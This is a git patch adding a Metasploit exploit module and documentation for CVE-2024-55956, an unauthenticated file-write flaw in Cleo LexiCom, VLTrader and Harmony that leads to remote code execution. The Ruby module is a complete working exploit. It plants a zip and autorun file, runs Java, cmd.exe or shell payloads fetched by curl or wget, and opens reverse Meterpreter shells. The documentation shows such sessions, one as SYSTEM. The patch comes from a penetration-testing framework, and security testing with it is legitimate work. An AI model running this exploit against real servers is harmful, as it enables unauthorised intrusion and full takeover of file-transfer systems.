From fe7334fae2dd797fd44aea04bd57c8f016aef439 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 17 Dec 2024 14:50:02 +0000 Subject: [PATCH] add in CVE-2024-55956 exploit --- .../multi/http/cleo_rce_cve_2024_55956.md | 177 +++++++++++++ .../multi/http/cleo_rce_cve_2024_55956.rb | 238 ++++++++++++++++++ 2 files changed, 415 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md create mode 100644 modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb diff --git a/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md new file mode 100644 index 0000000000..0a0e668c0d --- /dev/null +++ b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md @@ -0,0 +1,177 @@ +## Vulnerable Application +This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony +versions 5.8.0.23 and below. + +For a full technical analysis, please see our +AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis). + +## Testing +You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom +can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf). +During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux +you will download the `install.bin` file. Running the installer to complete the installation. + +By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connection to this port +in your firewall. + +If testing the default Windows payloads, you should disable Defender. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/multi/http/cleo_rce_cve_2024_55956` +3. `set RHOST ` +4. `set LHOST eth0` +5. `set LPORT 4444` +6. `set target 0` +7. `set PAYLOAD java/meterpreter/reverse_tcp` +8. `check` +9. `exploit` + +## Scenarios + +### Java + +``` +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 +RHOSTS => 192.168.86.50 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 +LHOST => 192.168.86.42 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0 +target => 1 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp +payload => java/meterpreter/reverse_tcp +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options + +Module options (exploit/multi/http/cleo_rce_cve_2024_55956): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 5080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (java/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check +[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +[*] Sending stage (58073 bytes) to 192.168.86.50 +[+] Deleted temp/iidqizro +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000 +[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target + +meterpreter > getuid +Server username: WIN-V28QNSO2H05$ +meterpreter > sysinfo +Computer : WIN-V28QNSO2H05 +OS : Windows Server 2022 10.0 (amd64) +Architecture : x64 +System Language : en_IE +Meterpreter : java/windows +meterpreter > pwd +C:\LexiCom +meterpreter > +``` + +### Windows Command + +``` +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 +RHOSTS => 192.168.86.50 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 +LHOST => 192.168.86.42 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1 +target => 1 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp +payload => cmd/windows/http/x64/meterpreter_reverse_tcp +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options + +Module options (exploit/multi/http/cleo_rce_cve_2024_55956): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 5080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + EXTENSIONS no Comma-separate list of extensions to load + EXTINIT no Initialization strings for extensions + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME APpIYmSCo no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check +[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +[+] Deleted temp/hzbcsche +[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-V28QNSO2H05 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > pwd +C:\LexiCom +meterpreter > +``` diff --git a/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb b/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb new file mode 100644 index 0000000000..fe84dbf3e3 --- /dev/null +++ b/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb @@ -0,0 +1,238 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony + versions 5.8.0.23 and below. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + # MSF Exploit & Rapid7 Analysis + 'sfewer-r7', + 'remmons-r7' + ], + 'References' => [ + ['CVE', '2024-55956'], + ['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory + ['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis + ['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog + ['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog + ], + 'DisclosureDate' => '2024-12-9', + 'Platform' => %w[java win linux unix], + 'Arch' => [ARCH_JAVA, ARCH_CMD], + 'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends how the product was installed. + 'Targets' => [ + [ + # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads: + # java/meterpreter/reverse_tcp + 'Java', { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA + } + ], + [ + # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads: + # cmd/windows/http/x64/meterpreter/reverse_tcp + # cmd/windows/http/x64/meterpreter_reverse_tcp + 'Windows Command', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'CURL', + 'FETCH_WRITABLE_DIR' => '%TEMP%' + } + } + ], + [ + 'Linux Command', { + 'Platform' => %w[linux unix], + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ] + ], + 'DefaultOptions' => { + 'RPORT' => 5080, + 'SSL' => false, + # The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed + # periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger. + 'WfsDelay' => 10 + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + return CheckCode::Unknown('Connection failed') unless res + + # We expect the server to respond with a HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)". + # Note, the target product may be either LexiCom, VLTrader, or Harmony. + if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(\blexicom\b|\bvltrader\b|\bharmony\b)/(\d+\.\d+\.\d+\.\d+)}i) + + if Rex::Version.new(Regexp.last_match(2)) <= Rex::Version.new('5.8.0.23') + return CheckCode::Appears(res.headers['Server']) + end + + return CheckCode::Safe(res.headers['Server']) + end + + CheckCode::Unknown + end + + def exploit + jar_path = nil + jar_file = nil + command = nil + + if target['Platform'] == 'java' + jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}" + + jar_file = payload.encoded_jar(random: true) + + # The product ships its own JRE, so we can use this relative path to run a Java JAR file. + command = "jre/bin/java -jar \"#{jar_path}\"" + elsif target['Platform'] == 'win' + command = "cmd.exe /c \"#{payload.encoded}\"" + elsif (target['Platform'] == 'linux') || (target['Platform'] == 'unix') + command = "/bin/sh -c \"#{payload.encoded}\"" + else + fail_with(Failure::BadConfig, 'Unsupported target platform') + end + + # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command. + if command.include? ']]>' + fail_with(Failure::BadConfig, 'Payload cannot contain a CDATA closing tag ]]>') + end + + host_guid = SecureRandom.uuid + mailbox_guid = SecureRandom.uuid + action_guid = SecureRandom.uuid + + # This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild) + host_xml = %( + + 0 + inbox\ + 0 + -1 + 0 + This contains mailboxes for a local host which can be used for local commands only. + Local Commands + outbox\ + 0 + True + False + True + ZipCompressionLevel=System Default + XMLEncryptionAlgorithm=System Default + HighPriorityIncomingWeight=10 + PGPHashAlgorithm=System Default + HighPriorityOutgoingWeight=10 + PGPCompressionAlgorithm=System Default + OutboxSort=System Default + PGPEncryptionAlgorithm=System Default + + + False + + 0 + 0 + False + + +) + + zip_file = Rex::Zip::Archive.new + + zip_file.add_file('hosts/main.xml', host_xml) + + zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}" + + arbitrary_file_write(zip_path, zip_file.pack) + + # The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative + # paths here for cleanup. + register_files_for_cleanup(zip_path) + + # For Java payloads, we also need to write the payloads JAR file. + if jar_file && jar_path + arbitrary_file_write(jar_path, jar_file.pack) + + register_files_for_cleanup(jar_path) + end + + # Install the new host via the -i switch. + # Run the Mailbox action via the -r switch, which in turn will execute our payload. + autorun_data = [ + "-i \"#{zip_path}\"", + "-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\"" + ].join("\r\n") + + arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data) + + # Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup. + end + + def arbitrary_file_write(path, data) + boundary = Rex::Text.rand_text_alpha_lower(16) + + # We can trigger the file write via either of these two commands. + multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample + + # These parameters can appear in any order, so we shuffle them. + multipart_vlsync_params = [ + 'service="AS2"', + "msgId=#{Rex::Text.rand_text_alpha_lower(8)}", + "path=\"#{path}\"", + 'receiptfolder=Unspecified' + ].shuffle.join(';') + + content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n" + content_data << "#{boundary}\r\n" + content_data << data + + # Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message. + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'Synchronization'), + 'headers' => { + 'VLSync' => 'Multipart;l=0,Acknowledge' + }, + 'ctype' => 'application/form-data; boundary=' + boundary, + 'data' => content_data + ) + + fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200 + end + +end